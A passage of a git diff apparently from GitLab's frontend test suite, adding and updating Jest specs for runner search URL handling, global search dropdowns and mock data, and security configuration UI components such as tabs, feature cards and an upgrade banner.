+ name: 'single instance type',
+ urlQuery: '?runner_type[]=INSTANCE_TYPE',
+ search: {
+ filters: [{ type: 'runner_type', value: { data: 'INSTANCE_TYPE', operator: '=' } }],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: { type: 'INSTANCE_TYPE', sort: 'CREATED_DESC', first: RUNNER_PAGE_SIZE },
+ },
+ {
+ name: 'multiple runner status',
+ urlQuery: '?status[]=ACTIVE&status[]=PAUSED',
+ search: {
+ filters: [
+ { type: 'status', value: { data: 'ACTIVE', operator: '=' } },
+ { type: 'status', value: { data: 'PAUSED', operator: '=' } },
+ ],
+ pagination: { page: 1 },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: { status: 'ACTIVE', sort: 'CREATED_DESC', first: RUNNER_PAGE_SIZE },
+ },
+ {
+ name: 'multiple status, a single instance type and a non default sort',
+ urlQuery: '?status[]=ACTIVE&runner_type[]=INSTANCE_TYPE&sort=CREATED_ASC',
+ search: {
+ filters: [
+ { type: 'status', value: { data: 'ACTIVE', operator: '=' } },
+ { type: 'runner_type', value: { data: 'INSTANCE_TYPE', operator: '=' } },
+ ],
+ pagination: { page: 1 },
+ sort: 'CREATED_ASC',
+ },
+ graphqlVariables: {
+ status: 'ACTIVE',
+ type: 'INSTANCE_TYPE',
+ sort: 'CREATED_ASC',
+ first: RUNNER_PAGE_SIZE,
+ },
+ },
+ {
+ name: 'the next page',
+ urlQuery: '?page=2&after=AFTER_CURSOR',
+ search: { filters: [], pagination: { page: 2, after: 'AFTER_CURSOR' }, sort: 'CREATED_DESC' },
+ graphqlVariables: { sort: 'CREATED_DESC', after: 'AFTER_CURSOR', first: RUNNER_PAGE_SIZE },
+ },
+ {
+ name: 'the previous page',
+ urlQuery: '?page=2&before=BEFORE_CURSOR',
+ search: {
+ filters: [],
+ pagination: { page: 2, before: 'BEFORE_CURSOR' },
+ sort: 'CREATED_DESC',
+ },
+ graphqlVariables: { sort: 'CREATED_DESC', before: 'BEFORE_CURSOR', last: RUNNER_PAGE_SIZE },
+ },
+ {
+ name:
+ 'the next page filtered by multiple status, a single instance type and a non default sort',
+ urlQuery:
+ '?status[]=ACTIVE&runner_type[]=INSTANCE_TYPE&sort=CREATED_ASC&page=2&after=AFTER_CURSOR',
+ search: {
+ filters: [
+ { type: 'status', value: { data: 'ACTIVE', operator: '=' } },
+ { type: 'runner_type', value: { data: 'INSTANCE_TYPE', operator: '=' } },
+ ],
+ pagination: { page: 2, after: 'AFTER_CURSOR' },
+ sort: 'CREATED_ASC',
+ },
+ graphqlVariables: {
+ status: 'ACTIVE',
+ type: 'INSTANCE_TYPE',
+ sort: 'CREATED_ASC',
+ after: 'AFTER_CURSOR',
+ first: RUNNER_PAGE_SIZE,
+ },
+ },
+ ];
+
+ describe('fromUrlQueryToSearch', () => {
+ examples.forEach(({ name, urlQuery, search }) => {
+ it(`Converts ${name} to a search object`, () => {
+ expect(fromUrlQueryToSearch(urlQuery)).toEqual(search);
+ });
+ });
+
+ it('When search params appear as array, they are concatenated', () => {
+ expect(fromUrlQueryToSearch('?search[]=my&search[]=text').filters).toEqual([
+ { type: 'filtered-search-term', value: { data: 'my' } },
+ { type: 'filtered-search-term', value: { data: 'text' } },
+ ]);
+ });
+
+ it('When a page cannot be parsed as a number, it defaults to `1`', () => {
+ expect(fromUrlQueryToSearch('?page=NONSENSE&after=AFTER_CURSOR').pagination).toEqual({
+ page: 1,
+ });
+ });
+
+ it('When a page is less than 1, it defaults to `1`', () => {
+ expect(fromUrlQueryToSearch('?page=0&after=AFTER_CURSOR').pagination).toEqual({
+ page: 1,
+ });
+ });
+
+ it('When a page with no cursor is given, it defaults to `1`', () => {
+ expect(fromUrlQueryToSearch('?page=2').pagination).toEqual({
+ page: 1,
+ });
+ });
+ });
+
+ describe('fromSearchToUrl', () => {
+ examples.forEach(({ name, urlQuery, search }) => {
+ it(`Converts ${name} to a url`, () => {
+ expect(fromSearchToUrl(search)).toEqual(`http://test.host/${urlQuery}`);
+ });
+ });
+
+ it.each([
+ 'http://test.host/?status[]=ACTIVE',
+ 'http://test.host/?runner_type[]=INSTANCE_TYPE',
+ 'http://test.host/?search=my_text',
+ ])('When a filter is removed, it is removed from the URL', (initalUrl) => {
+ const search = { filters: [], sort: 'CREATED_DESC' };
+ const expectedUrl = `http://test.host/`;
+
+ expect(fromSearchToUrl(search, initalUrl)).toEqual(expectedUrl);
+ });
+
+ it('When unrelated search parameter is present, it does not get removed', () => {
+ const initialUrl = `http://test.host/?unrelated=UNRELATED&status[]=ACTIVE`;
+ const search = { filters: [], sort: 'CREATED_DESC' };
+ const expectedUrl = `http://test.host/?unrelated=UNRELATED`;
+
+ expect(fromSearchToUrl(search, initialUrl)).toEqual(expectedUrl);
+ });
+ });
+
+ describe('fromSearchToVariables', () => {
+ examples.forEach(({ name, graphqlVariables, search }) => {
+ it(`Converts ${name} to a GraphQL query variables object`, () => {
+ expect(fromSearchToVariables(search)).toEqual(graphqlVariables);
+ });
+ });
+
+ it('When a search param is empty, it gets removed', () => {
+ expect(
+ fromSearchToVariables({
+ filters: [
+ {
+ type: 'filtered-search-term',
+ value: { data: '' },
+ },
+ ],
+ }),
+ ).toMatchObject({
+ search: '',
+ });
+
+ expect(
+ fromSearchToVariables({
+ filters: [
+ {
+ type: 'filtered-search-term',
+ value: { data: 'something' },
+ },
+ {
+ type: 'filtered-search-term',
+ value: { data: '' },
+ },
+ ],
+ }),
+ ).toMatchObject({
+ search: 'something',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/search/mock_data.js b/spec/frontend/search/mock_data.js
index d076997b04a..fbe01f372b0 100644
--- a/spec/frontend/search/mock_data.js
+++ b/spec/frontend/search/mock_data.js
@@ -2,47 +2,49 @@ export const MOCK_QUERY = {
scope: 'issues',
state: 'all',
confidential: null,
- group_id: 'test_1',
+ group_id: 1,
};
export const MOCK_GROUP = {
name: 'test group',
- full_name: 'full name test group',
- id: 'test_1',
+ full_name: 'full name / test group',
+ id: 1,
};
export const MOCK_GROUPS = [
{
+ avatar_url: null,
name: 'test group',
- full_name: 'full name test group',
- id: 'test_1',
+ full_name: 'full name / test group',
+ id: 1,
},
{
+ avatar_url: 'https://avatar.com',
name: 'test group 2',
- full_name: 'full name test group 2',
- id: 'test_2',
+ full_name: 'full name / test group 2',
+ id: 2,
},
];
export const MOCK_PROJECT = {
name: 'test project',
namespace: MOCK_GROUP,
- nameWithNamespace: 'test group test project',
- id: 'test_1',
+ nameWithNamespace: 'test group / test project',
+ id: 1,
};
export const MOCK_PROJECTS = [
{
name: 'test project',
namespace: MOCK_GROUP,
- name_with_namespace: 'test group test project',
- id: 'test_1',
+ name_with_namespace: 'test group / test project',
+ id: 1,
},
{
name: 'test project 2',
namespace: MOCK_GROUP,
- name_with_namespace: 'test group test project 2',
- id: 'test_2',
+ name_with_namespace: 'test group / test project 2',
+ id: 2,
},
];
diff --git a/spec/frontend/search/store/actions_spec.js b/spec/frontend/search/store/actions_spec.js
index ab622c53387..634661c5843 100644
--- a/spec/frontend/search/store/actions_spec.js
+++ b/spec/frontend/search/store/actions_spec.js
@@ -20,9 +20,8 @@ describe('Global Search Store Actions', () => {
let mock;
let state;
- const noCallback = () => {};
- const flashCallback = () => {
- expect(createFlash).toHaveBeenCalledTimes(1);
+ const flashCallback = (callCount) => {
+ expect(createFlash).toHaveBeenCalledTimes(callCount);
createFlash.mockClear();
};
@@ -37,19 +36,21 @@ describe('Global Search Store Actions', () => {
});
describe.each`
- action | axiosMock | type | expectedMutations | callback
- ${actions.fetchGroups} | ${{ method: 'onGet', code: 200, res: MOCK_GROUPS }} | ${'success'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_SUCCESS, payload: MOCK_GROUPS }]} | ${noCallback}
- ${actions.fetchGroups} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_ERROR }]} | ${flashCallback}
- ${actions.fetchProjects} | ${{ method: 'onGet', code: 200, res: MOCK_PROJECTS }} | ${'success'} | ${[{ type: types.REQUEST_PROJECTS }, { type: types.RECEIVE_PROJECTS_SUCCESS, payload: MOCK_PROJECTS }]} | ${noCallback}
- ${actions.fetchProjects} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_PROJECTS }, { type: types.RECEIVE_PROJECTS_ERROR }]} | ${flashCallback}
- `(`axios calls`, ({ action, axiosMock, type, expectedMutations, callback }) => {
+ action | axiosMock | type | expectedMutations | flashCallCount
+ ${actions.fetchGroups} | ${{ method: 'onGet', code: 200, res: MOCK_GROUPS }} | ${'success'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_SUCCESS, payload: MOCK_GROUPS }]} | ${0}
+ ${actions.fetchGroups} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_ERROR }]} | ${1}
+ ${actions.fetchProjects} | ${{ method: 'onGet', code: 200, res: MOCK_PROJECTS }} | ${'success'} | ${[{ type: types.REQUEST_PROJECTS }, { type: types.RECEIVE_PROJECTS_SUCCESS, payload: MOCK_PROJECTS }]} | ${0}
+ ${actions.fetchProjects} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_PROJECTS }, { type: types.RECEIVE_PROJECTS_ERROR }]} | ${2}
+ `(`axios calls`, ({ action, axiosMock, type, expectedMutations, flashCallCount }) => {
describe(action.name, () => {
describe(`on ${type}`, () => {
beforeEach(() => {
mock[axiosMock.method]().replyOnce(axiosMock.code, axiosMock.res);
});
it(`should dispatch the correct mutations`, () => {
- return testAction({ action, state, expectedMutations }).then(() => callback());
+ return testAction({ action, state, expectedMutations }).then(() =>
+ flashCallback(flashCallCount),
+ );
});
});
});
diff --git a/spec/frontend/search/topbar/components/searchable_dropdown_item_spec.js b/spec/frontend/search/topbar/components/searchable_dropdown_item_spec.js
new file mode 100644
index 00000000000..e51fe9a4cf9
--- /dev/null
+++ b/spec/frontend/search/topbar/components/searchable_dropdown_item_spec.js
@@ -0,0 +1,97 @@
+import { GlDropdownItem, GlAvatar } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { MOCK_GROUPS } from 'jest/search/mock_data';
+import { truncateNamespace } from '~/lib/utils/text_utility';
+import SearchableDropdownItem from '~/search/topbar/components/searchable_dropdown_item.vue';
+import { GROUP_DATA } from '~/search/topbar/constants';
+
+describe('Global Search Searchable Dropdown Item', () => {
+ let wrapper;
+
+ const defaultProps = {
+ item: MOCK_GROUPS[0],
+ selectedItem: MOCK_GROUPS[0],
+ name: GROUP_DATA.name,
+ fullName: GROUP_DATA.fullName,
+ };
+
+ const createComponent = (props) => {
+ wrapper = shallowMountExtended(SearchableDropdownItem, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findGlDropdownItem = () => wrapper.findComponent(GlDropdownItem);
+ const findGlAvatar = () => wrapper.findComponent(GlAvatar);
+ const findDropdownTitle = () => wrapper.findByTestId('item-title');
+ const findDropdownSubtitle = () => wrapper.findByTestId('item-namespace');
+
+ describe('template', () => {
+ describe('always', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders GlDropdownItem', () => {
+ expect(findGlDropdownItem().exists()).toBe(true);
+ });
+
+ it('renders GlAvatar', () => {
+ expect(findGlAvatar().exists()).toBe(true);
+ });
+
+ it('renders Dropdown Title correctly', () => {
+ const titleEl = findDropdownTitle();
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.text()).toBe(MOCK_GROUPS[0][GROUP_DATA.name]);
+ });
+
+ it('renders Dropdown Subtitle correctly', () => {
+ const subtitleEl = findDropdownSubtitle();
+
+ expect(subtitleEl.exists()).toBe(true);
+ expect(subtitleEl.text()).toBe(truncateNamespace(MOCK_GROUPS[0][GROUP_DATA.fullName]));
+ });
+ });
+
+ describe('when item === selectedItem', () => {
+ beforeEach(() => {
+ createComponent({ item: MOCK_GROUPS[0], selectedItem: MOCK_GROUPS[0] });
+ });
+
+ it('marks the dropdown as checked', () => {
+ expect(findGlDropdownItem().attributes('ischecked')).toBe('true');
+ });
+ });
+
+ describe('when item !== selectedItem', () => {
+ beforeEach(() => {
+ createComponent({ item: MOCK_GROUPS[0], selectedItem: MOCK_GROUPS[1] });
+ });
+
+ it('marks the dropdown as not checked', () => {
+ expect(findGlDropdownItem().attributes('ischecked')).toBeUndefined();
+ });
+ });
+ });
+
+ describe('actions', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('clicking the dropdown item $emits change with the item', () => {
+ findGlDropdownItem().vm.$emit('click');
+
+ expect(wrapper.emitted('change')[0]).toEqual([MOCK_GROUPS[0]]);
+ });
+ });
+});
diff --git a/spec/frontend/search/topbar/components/searchable_dropdown_spec.js b/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
index 5de948592d4..10d779f0f90 100644
--- a/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
+++ b/spec/frontend/search/topbar/components/searchable_dropdown_spec.js
@@ -1,20 +1,21 @@
import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlSkeletonLoader } from '@gitlab/ui';
-import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { MOCK_GROUPS, MOCK_GROUP, MOCK_QUERY } from 'jest/search/mock_data';
import SearchableDropdown from '~/search/topbar/components/searchable_dropdown.vue';
+import SearchableDropdownItem from '~/search/topbar/components/searchable_dropdown_item.vue';
import { ANY_OPTION, GROUP_DATA } from '~/search/topbar/constants';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
describe('Global Search Searchable Dropdown', () => {
let wrapper;
const defaultProps = {
headerText: GROUP_DATA.headerText,
- selectedDisplayValue: GROUP_DATA.selectedDisplayValue,
- itemsDisplayValue: GROUP_DATA.itemsDisplayValue,
+ name: GROUP_DATA.name,
+ fullName: GROUP_DATA.fullName,
loading: false,
selectedItem: ANY_OPTION,
items: [],
@@ -29,7 +30,6 @@ describe('Global Search Searchable Dropdown', () => {
});
wrapper = mountFn(SearchableDropdown, {
- localVue,
store,
propsData: {
...defaultProps,
@@ -40,17 +40,16 @@ describe('Global Search Searchable Dropdown', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
- const findGlDropdown = () => wrapper.find(GlDropdown);
- const findGlDropdownSearch = () => findGlDropdown().find(GlSearchBoxByType);
+ const findGlDropdown = () => wrapper.findComponent(GlDropdown);
+ const findGlDropdownSearch = () => findGlDropdown().findComponent(GlSearchBoxByType);
const findDropdownText = () => findGlDropdown().find('.dropdown-toggle-text');
- const findDropdownItems = () => findGlDropdown().findAll(GlDropdownItem);
- const findDropdownItemsText = () => findDropdownItems().wrappers.map((w) => w.text());
- const findAnyDropdownItem = () => findDropdownItems().at(0);
- const findFirstGroupDropdownItem = () => findDropdownItems().at(1);
- const findLoader = () => wrapper.find(GlSkeletonLoader);
+ const findSearchableDropdownItems = () =>
+ findGlDropdown().findAllComponents(SearchableDropdownItem);
+ const findAnyDropdownItem = () => findGlDropdown().findComponent(GlDropdownItem);
+ const findFirstGroupDropdownItem = () => findSearchableDropdownItems().at(0);
+ const findLoader = () => wrapper.findComponent(GlSkeletonLoader);
describe('template', () => {
beforeEach(() => {
@@ -93,9 +92,12 @@ describe('Global Search Searchable Dropdown', () => {
expect(findLoader().exists()).toBe(false);
});
- it('renders an instance for each namespace', () => {
- const resultsIncludeAny = ['Any'].concat(MOCK_GROUPS.map((n) => n.full_name));
- expect(findDropdownItemsText()).toStrictEqual(resultsIncludeAny);
+ it('renders the Any Dropdown', () => {
+ expect(findAnyDropdownItem().exists()).toBe(true);
+ });
+
+ it('renders SearchableDropdownItem for each item', () => {
+ expect(findSearchableDropdownItems()).toHaveLength(MOCK_GROUPS.length);
});
});
@@ -108,18 +110,12 @@ describe('Global Search Searchable Dropdown', () => {
expect(findLoader().exists()).toBe(true);
});
- it('renders only Any in dropdown', () => {
- expect(findDropdownItemsText()).toStrictEqual(['Any']);
- });
- });
-
- describe('when item is selected', () => {
- beforeEach(() => {
- createComponent({}, { items: MOCK_GROUPS, selectedItem: MOCK_GROUPS[0] });
+ it('renders the Any Dropdown', () => {
+ expect(findAnyDropdownItem().exists()).toBe(true);
});
- it('marks the dropdown as checked', () => {
- expect(findFirstGroupDropdownItem().attributes('ischecked')).toBe('true');
+ it('does not render SearchableDropdownItem', () => {
+ expect(findSearchableDropdownItems()).toHaveLength(0);
});
});
});
@@ -140,8 +136,8 @@ describe('Global Search Searchable Dropdown', () => {
createComponent({}, { selectedItem: MOCK_GROUP }, mount);
});
- it('sets dropdown text to the selectedItem selectedDisplayValue', () => {
- expect(findDropdownText().text()).toBe(MOCK_GROUP[GROUP_DATA.selectedDisplayValue]);
+ it('sets dropdown text to the selectedItem name', () => {
+ expect(findDropdownText().text()).toBe(MOCK_GROUP[GROUP_DATA.name]);
});
});
});
@@ -158,8 +154,8 @@ describe('Global Search Searchable Dropdown', () => {
expect(wrapper.emitted('change')[0]).toEqual([ANY_OPTION]);
});
- it('clicking result dropdown item $emits @change with result', () => {
- findFirstGroupDropdownItem().vm.$emit('click');
+ it('on SearchableDropdownItem @change, the wrapper $emits change with the item', () => {
+ findFirstGroupDropdownItem().vm.$emit('change', MOCK_GROUPS[0]);
expect(wrapper.emitted('change')[0]).toEqual([MOCK_GROUPS[0]]);
});
diff --git a/spec/frontend/security_configuration/components/redesigned_app_spec.js b/spec/frontend/security_configuration/components/redesigned_app_spec.js
new file mode 100644
index 00000000000..7e27a3e1108
--- /dev/null
+++ b/spec/frontend/security_configuration/components/redesigned_app_spec.js
@@ -0,0 +1,232 @@
+import { GlTab } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { makeMockUserCalloutDismisser } from 'helpers/mock_user_callout_dismisser';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import {
+ SAST_NAME,
+ SAST_SHORT_NAME,
+ SAST_DESCRIPTION,
+ SAST_HELP_PATH,
+ SAST_CONFIG_HELP_PATH,
+ LICENSE_COMPLIANCE_NAME,
+ LICENSE_COMPLIANCE_DESCRIPTION,
+ LICENSE_COMPLIANCE_HELP_PATH,
+} from '~/security_configuration/components/constants';
+import FeatureCard from '~/security_configuration/components/feature_card.vue';
+import RedesignedSecurityConfigurationApp, {
+ i18n,
+} from '~/security_configuration/components/redesigned_app.vue';
+import UpgradeBanner from '~/security_configuration/components/upgrade_banner.vue';
+import {
+ REPORT_TYPE_LICENSE_COMPLIANCE,
+ REPORT_TYPE_SAST,
+} from '~/vue_shared/security_reports/constants';
+
+const upgradePath = '/upgrade';
+
+describe('redesigned App component', () => {
+ let wrapper;
+ let userCalloutDismissSpy;
+
+ const createComponent = ({ shouldShowCallout = true, ...propsData }) => {
+ userCalloutDismissSpy = jest.fn();
+
+ wrapper = extendedWrapper(
+ mount(RedesignedSecurityConfigurationApp, {
+ propsData,
+ provide: {
+ upgradePath,
+ },
+ stubs: {
+ UserCalloutDismisser: makeMockUserCalloutDismisser({
+ dismiss: userCalloutDismissSpy,
+ shouldShowCallout,
+ }),
+ },
+ }),
+ );
+ };
+
+ const findMainHeading = () => wrapper.find('h1');
+ const findTab = () => wrapper.findComponent(GlTab);
+ const findTabs = () => wrapper.findAllComponents(GlTab);
+ const findByTestId = (id) => wrapper.findByTestId(id);
+ const findFeatureCards = () => wrapper.findAllComponents(FeatureCard);
+ const findComplianceViewHistoryLink = () => findByTestId('compliance-view-history-link');
+ const findSecurityViewHistoryLink = () => findByTestId('security-view-history-link');
+ const findUpgradeBanner = () => wrapper.findComponent(UpgradeBanner);
+
+ const securityFeaturesMock = [
+ {
+ name: SAST_NAME,
+ shortName: SAST_SHORT_NAME,
+ description: SAST_DESCRIPTION,
+ helpPath: SAST_HELP_PATH,
+ configurationHelpPath: SAST_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_SAST,
+ available: true,
+ },
+ ];
+
+ const complianceFeaturesMock = [
+ {
+ name: LICENSE_COMPLIANCE_NAME,
+ description: LICENSE_COMPLIANCE_DESCRIPTION,
+ helpPath: LICENSE_COMPLIANCE_HELP_PATH,
+ type: REPORT_TYPE_LICENSE_COMPLIANCE,
+ configurationHelpPath: LICENSE_COMPLIANCE_HELP_PATH,
+ },
+ ];
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('basic structure', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock,
+ });
+ });
+
+ it('renders main-heading with correct text', () => {
+ const mainHeading = findMainHeading();
+ expect(mainHeading).toExist();
+ expect(mainHeading.text()).toContain('Security Configuration');
+ });
+
+ it('renders GlTab Component ', () => {
+ expect(findTab()).toExist();
+ });
+
+ it('renders right amount of tabs with correct title ', () => {
+ expect(findTabs()).toHaveLength(2);
+ });
+
+ it('renders security-testing tab', () => {
+ expect(findByTestId('security-testing-tab').exists()).toBe(true);
+ });
+
+ it('renders compliance-testing tab', () => {
+ expect(findByTestId('compliance-testing-tab').exists()).toBe(true);
+ });
+
+ it('renders right amount of feature cards for given props with correct props', () => {
+ const cards = findFeatureCards();
+ expect(cards).toHaveLength(2);
+ expect(cards.at(0).props()).toEqual({ feature: securityFeaturesMock[0] });
+ expect(cards.at(1).props()).toEqual({ feature: complianceFeaturesMock[0] });
+ });
+
+ it('should not show latest pipeline link when latestPipelinePath is not defined', () => {
+ expect(findByTestId('latest-pipeline-info').exists()).toBe(false);
+ });
+
+ it('should not show configuration History Link when gitlabCiPresent & gitlabCiHistoryPath are not defined', () => {
+ expect(findComplianceViewHistoryLink().exists()).toBe(false);
+ expect(findSecurityViewHistoryLink().exists()).toBe(false);
+ });
+ });
+
+ describe('upgrade banner', () => {
+ const makeAvailable = (available) => (feature) => ({ ...feature, available });
+
+ describe('given at least one unavailable feature', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock.map(makeAvailable(false)),
+ });
+ });
+
+ it('renders the banner', () => {
+ expect(findUpgradeBanner().exists()).toBe(true);
+ });
+
+ it('calls the dismiss callback when closing the banner', () => {
+ expect(userCalloutDismissSpy).not.toHaveBeenCalled();
+
+ findUpgradeBanner().vm.$emit('close');
+
+ expect(userCalloutDismissSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('given at least one unavailable feature, but banner is already dismissed', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock.map(makeAvailable(false)),
+ shouldShowCallout: false,
+ });
+ });
+
+ it('does not render the banner', () => {
+ expect(findUpgradeBanner().exists()).toBe(false);
+ });
+ });
+
+ describe('given all features are available', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock.map(makeAvailable(true)),
+ augmentedComplianceFeatures: complianceFeaturesMock.map(makeAvailable(true)),
+ });
+ });
+
+ it('does not render the banner', () => {
+ expect(findUpgradeBanner().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('when given latestPipelinePath props', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock,
+ latestPipelinePath: 'test/path',
+ });
+ });
+
+ it('should show latest pipeline info on the security tab with correct link when latestPipelinePath is defined', () => {
+ const latestPipelineInfoSecurity = findByTestId('latest-pipeline-info-security');
+
+ expect(latestPipelineInfoSecurity.exists()).toBe(true);
+ expect(latestPipelineInfoSecurity.text()).toMatchInterpolatedText(
+ i18n.securityTestingDescription,
+ );
+ expect(latestPipelineInfoSecurity.find('a').attributes('href')).toBe('test/path');
+ });
+
+ it('should show latest pipeline info on the compliance tab with correct link when latestPipelinePath is defined', () => {
+ const latestPipelineInfoCompliance = findByTestId('latest-pipeline-info-compliance');
+
+ expect(latestPipelineInfoCompliance.exists()).toBe(true);
+ expect(latestPipelineInfoCompliance.text()).toMatchInterpolatedText(
+ i18n.securityTestingDescription,
+ );
+ expect(latestPipelineInfoCompliance.find('a').attributes('href')).toBe('test/path');
+ });
+ });
+
+ describe('given gitlabCiPresent & gitlabCiHistoryPath props', () => {
+ beforeEach(() => {
+ createComponent({
+ augmentedSecurityFeatures: securityFeaturesMock,
+ augmentedComplianceFeatures: complianceFeaturesMock,
+ gitlabCiPresent: true,
+ gitlabCiHistoryPath: 'test/historyPath',
+ });
+ });
+
+ it('should show configuration History Link', () => {
+ expect(findComplianceViewHistoryLink().exists()).toBe(true);
+ expect(findSecurityViewHistoryLink().exists()).toBe(true);
+
+ expect(findComplianceViewHistoryLink().attributes('href')).toBe('test/historyPath');
+ expect(findSecurityViewHistoryLink().attributes('href')).toBe('test/historyPath');
+ });
+ });
+});
diff --git a/spec/frontend/security_configuration/components/section_layout_spec.js b/spec/frontend/security_configuration/components/section_layout_spec.js
new file mode 100644
index 00000000000..75da380bbb8
--- /dev/null
+++ b/spec/frontend/security_configuration/components/section_layout_spec.js
@@ -0,0 +1,49 @@
+import { mount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import SectionLayout from '~/security_configuration/components/section_layout.vue';
+
+describe('Section Layout component', () => {
+ let wrapper;
+
+ const createComponent = (propsData) => {
+ wrapper = extendedWrapper(
+ mount(SectionLayout, {
+ propsData,
+ scopedSlots: {
+ description: '<span>foo</span>',
+ features: '<span>bar</span>',
+ },
+ }),
+ );
+ };
+
+ const findHeading = () => wrapper.find('h2');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('basic structure', () => {
+ beforeEach(() => {
+ createComponent({ heading: 'testheading' });
+ });
+
+ const slots = {
+ description: 'foo',
+ features: 'bar',
+ };
+
+ it('should render heading when passed in as props', () => {
+ expect(findHeading().exists()).toBe(true);
+ expect(findHeading().text()).toBe('testheading');
+ });
+
+ Object.keys(slots).forEach((slot) => {
+ it('renders the slots', () => {
+ const slotContent = slots[slot];
+ createComponent({ heading: '' });
+ expect(wrapper.text()).toContain(slotContent);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/security_configuration/components/upgrade_banner_spec.js b/spec/frontend/security_configuration/components/upgrade_banner_spec.js
new file mode 100644
index 00000000000..cf7945343af
--- /dev/null
+++ b/spec/frontend/security_configuration/components/upgrade_banner_spec.js
@@ -0,0 +1,60 @@
+import { GlBanner } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import UpgradeBanner from '~/security_configuration/components/upgrade_banner.vue';
+
+const upgradePath = '/upgrade';
+
+describe('UpgradeBanner component', () => {
+ let wrapper;
+ let closeSpy;
+
+ const createComponent = (propsData) => {
+ closeSpy = jest.fn();
+
+ wrapper = shallowMountExtended(UpgradeBanner, {
+ provide: {
+ upgradePath,
+ },
+ propsData,
+ listeners: {
+ close: closeSpy,
+ },
+ });
+ };
+
+ const findGlBanner = () => wrapper.findComponent(GlBanner);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('passes the expected props to GlBanner', () => {
+ expect(findGlBanner().props()).toMatchObject({
+ title: UpgradeBanner.i18n.title,
+ buttonText: UpgradeBanner.i18n.buttonText,
+ buttonLink: upgradePath,
+ });
+ });
+
+ it('renders the list of benefits', () => {
+ const wrapperText = wrapper.text();
+
+ expect(wrapperText).toContain('GitLab Ultimate checks your application');
+ expect(wrapperText).toContain('statistics in the merge request');
+ expect(wrapperText).toContain('statistics across projects');
+ expect(wrapperText).toContain('Runtime security metrics');
+ expect(wrapperText).toContain('risk analysis and remediation');
+ });
+
+ it(`re-emits GlBanner's close event`, () => {
+ expect(closeSpy).not.toHaveBeenCalled();
+
+ wrapper.findComponent(GlBanner).vm.$emit('close');
+
+ expect(closeSpy).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/spec/frontend/security_configuration/utils_spec.js b/spec/frontend/security_configuration/utils_spec.js
new file mode 100644
index 00000000000..6ad167cadda
--- /dev/null
+++ b/spec/frontend/security_configuration/utils_spec.js
@@ -0,0 +1,81 @@
+import { augmentFeatures } from '~/security_configuration/utils';
+
+const mockSecurityFeatures = [
+ {
+ name: 'SAST',
+ type: 'SAST',
+ },
+];
+
+const mockComplianceFeatures = [
+ {
+ name: 'LICENSE_COMPLIANCE',
+ type: 'LICENSE_COMPLIANCE',
+ },
+];
+
+const mockFeaturesWithSecondary = [
+ {
+ name: 'DAST',
+ type: 'DAST',
+ secondary: {
+ type: 'DAST PROFILES',
+ name: 'DAST PROFILES',
+ },
+ },
+];
+
+const mockInvalidCustomFeature = [
+ {
+ foo: 'bar',
+ },
+];
+
+const mockValidCustomFeature = [
+ {
+ name: 'SAST',
+ type: 'SAST',
+ customfield: 'customvalue',
+ },
+];
+
+const expectedOutputDefault = {
+ augmentedSecurityFeatures: mockSecurityFeatures,
+ augmentedComplianceFeatures: mockComplianceFeatures,
+};
+
+const expectedOutputSecondary = {
+ augmentedSecurityFeatures: mockSecurityFeatures,
+ augmentedComplianceFeatures: mockFeaturesWithSecondary,
+};
+
+const expectedOutputCustomFeature = {
+ augmentedSecurityFeatures: mockValidCustomFeature,
+ augmentedComplianceFeatures: mockComplianceFeatures,
+};
+
+describe('returns an object with augmentedSecurityFeatures and augmentedComplianceFeatures when', () => {
